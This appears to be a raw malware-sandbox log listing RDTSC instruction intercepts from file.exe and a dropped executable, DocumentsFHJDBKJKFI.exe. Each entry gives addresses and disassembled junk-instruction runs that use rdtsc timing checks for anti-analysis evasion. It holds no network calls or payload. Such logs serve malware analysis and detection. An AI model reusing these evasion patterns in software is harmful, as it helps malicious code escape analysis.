Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E41 second address: 8E2E47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E47 second address: 8E2E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F30FBAE72h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E5F second address: 8E2E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E2E67 second address: 8E2E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF2F1 second address: 8EF2F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4419 second address: 8F441F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F441F second address: 8F4423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F4423 second address: 8F442D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F30FBAE66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F442D second address: 8F4474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F8F30D58CD8h 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007F8F30D58CE0h 0x00000014 jmp 00007F8F30D58CDCh 0x00000019 popad 0x0000001a pushad 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007F8F30D58CE1h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F96EF second address: 8F96FB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F30FBAE66h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 906962 second address: 90696A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D8AA second address: 91D8B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE2B second address: 91DE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F8F30D58CD6h 0x0000000d jbe 00007F8F30D58CD6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE3E second address: 91DE6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F8F30FBAE6Fh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91DE6C second address: 91DE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30D58CE2h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E130 second address: 91E156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F30FBAE70h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F8F30FBAE66h 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E156 second address: 91E176 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007F8F30D58CD6h 0x0000000d jmp 00007F8F30D58CE2h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E2BA second address: 91E2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E2C4 second address: 91E2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E2C9 second address: 91E2CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E2CF second address: 91E2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E2D5 second address: 91E2D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9210E3 second address: 9210E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9210E7 second address: 9210ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921307 second address: 921311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8F30D58CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9213D1 second address: 9213D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9213D8 second address: 921412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dl, 3Bh 0x0000000c mov edx, dword ptr [ebp+122D2AFCh] 0x00000012 push 00000004h 0x00000014 or dx, B828h 0x00000019 sub dx, 2A77h 0x0000001e call 00007F8F30D58CD9h 0x00000023 pushad 0x00000024 jmp 00007F8F30D58CDFh 0x00000029 push esi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921412 second address: 921422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 je 00007F8F30FBAE6Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921422 second address: 921440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edi 0x00000006 pop edi 0x00000007 jmp 00007F8F30D58CDDh 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 921652 second address: 9216D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F8F30FBAE66h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F8F30FBAE68h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b xor dl, 0000002Eh 0x0000002e push dword ptr [ebp+122D1932h] 0x00000034 mov edx, dword ptr [ebp+122D2217h] 0x0000003a call 00007F8F30FBAE69h 0x0000003f jmp 00007F8F30FBAE76h 0x00000044 push eax 0x00000045 jmp 00007F8F30FBAE76h 0x0000004a mov eax, dword ptr [esp+04h] 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jng 00007F8F30FBAE66h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9216D5 second address: 9216F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F8F30D58CD8h 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F30D58CDFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9216F8 second address: 921719 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8F30FBAE6Ch 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push ecx 0x00000012 pushad 0x00000013 jp 00007F8F30FBAE66h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9228CB second address: 9228D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F8F30D58CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924628 second address: 92462C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9240C4 second address: 9240E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8F30D58CD6h 0x0000000a pop esi 0x0000000b jns 00007F8F30D58CDEh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9240E3 second address: 9240E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9240E7 second address: 924106 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8F30D58CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F8F30D58CDCh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 924106 second address: 92410B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926274 second address: 92627A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90398 second address: 4F9039C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F904B5 second address: 4F9051D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ah 0x00000005 movsx edx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8F30D58CE3h 0x00000013 or ch, 0000006Eh 0x00000016 jmp 00007F8F30D58CE9h 0x0000001b popfd 0x0000001c mov bx, si 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F8F30D58CDAh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8F30D58CE7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F905F7 second address: 4F90652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F8F30FBAE6Eh 0x00000011 mov esi, edx 0x00000013 jmp 00007F8F30FBAE70h 0x00000018 mov al, byte ptr [edx] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8F30FBAE77h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90652 second address: 4F90658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90658 second address: 4F9065C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9065C second address: 4F90684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edx 0x00000009 jmp 00007F8F30D58CE7h 0x0000000e test al, al 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90684 second address: 4F90688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90688 second address: 4F9068E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9068E second address: 4F90652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 339Fh 0x00000007 mov ax, 6ABBh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007F8F30FBADFBh 0x00000014 mov al, byte ptr [edx] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8F30FBAE77h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F906DF second address: 4F906E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F906E5 second address: 4F906E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F906E9 second address: 4F90710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 dec edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dh, ch 0x0000000e call 00007F8F30D58CE7h 0x00000013 pop eax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90710 second address: 4F90745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c jmp 00007F8F30FBAE70h 0x00000011 mov al, byte ptr [edi+01h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90745 second address: 4F907E2 instructions: 0x00000000 rdtsc 0x00000002 call 00007F8F30D58CE8h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F8F30D58CDBh 0x00000010 and al, 0000007Eh 0x00000013 jmp 00007F8F30D58CE9h 0x00000018 popfd 0x00000019 popad 0x0000001a inc edi 0x0000001b jmp 00007F8F30D58CDEh 0x00000020 test al, al 0x00000022 pushad 0x00000023 jmp 00007F8F30D58CDEh 0x00000028 mov eax, 366ED6C1h 0x0000002d popad 0x0000002e jne 00007F8FA1FF0FA3h 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 pushfd 0x0000003a jmp 00007F8F30D58CDFh 0x0000003f jmp 00007F8F30D58CE3h 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F907E2 second address: 4F90890 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F8F30FBAE6Eh 0x00000010 shr ecx, 02h 0x00000013 jmp 00007F8F30FBAE70h 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F8F30FBAE6Eh 0x00000029 add ch, FFFFFFF8h 0x0000002c jmp 00007F8F30FBAE6Bh 0x00000031 popfd 0x00000032 jmp 00007F8F30FBAE78h 0x00000037 popad 0x00000038 mov ecx, edx 0x0000003a jmp 00007F8F30FBAE70h 0x0000003f and ecx, 03h 0x00000042 jmp 00007F8F30FBAE70h 0x00000047 rep movsb 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c mov di, 70D0h 0x00000050 mov edx, 6871C9FCh 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90890 second address: 4F908BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8F30D58CDAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F908BB second address: 4F908CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F908CA second address: 4F908E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30D58CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F908E2 second address: 4F908E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F908E6 second address: 4F9095A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a jmp 00007F8F30D58CE7h 0x0000000f mov ecx, dword ptr [ebp-10h] 0x00000012 jmp 00007F8F30D58CE6h 0x00000017 mov dword ptr fs:[00000000h], ecx 0x0000001e jmp 00007F8F30D58CE0h 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F8F30D58CDDh 0x0000002c call 00007F8F30D58CE0h 0x00000031 pop ecx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9095A second address: 4F90975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F30FBAE77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90975 second address: 4F90979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90979 second address: 4F90994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8F30FBAE70h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90AFC second address: 4F90B02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90B02 second address: 4F90B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 pushfd 0x00000007 jmp 00007F8F30FBAE6Eh 0x0000000c adc cl, 00000048h 0x0000000f jmp 00007F8F30FBAE6Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8F30FBAE75h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90B41 second address: 4F90B78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8F30D58CE1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F30D58CDDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90B78 second address: 4F90BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30FBAE71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8F30FBAE78h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F90BAB second address: 4F90BBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F30D58CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: D9EA1D second address: D9EA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F1FAE4 second address: F1FAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F1FAEA second address: F1FAEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F277A1 second address: F277A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27A66 second address: F27A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27A6A second address: F27A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27A74 second address: F27A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27A7A second address: F27A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27A7E second address: F27A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27D3F second address: F27D4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F8F30D58CD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27D4E second address: F27D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27D52 second address: F27D58 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27D58 second address: F27D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27D64 second address: F27D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F27D6A second address: F27D75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8F30FBAE66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B765 second address: F2B76F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8F30D58CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B76F second address: F2B775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHJDBKJKFI.exe	RDTSC instruction interceptor: First address: F2B775 second address: F2B779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
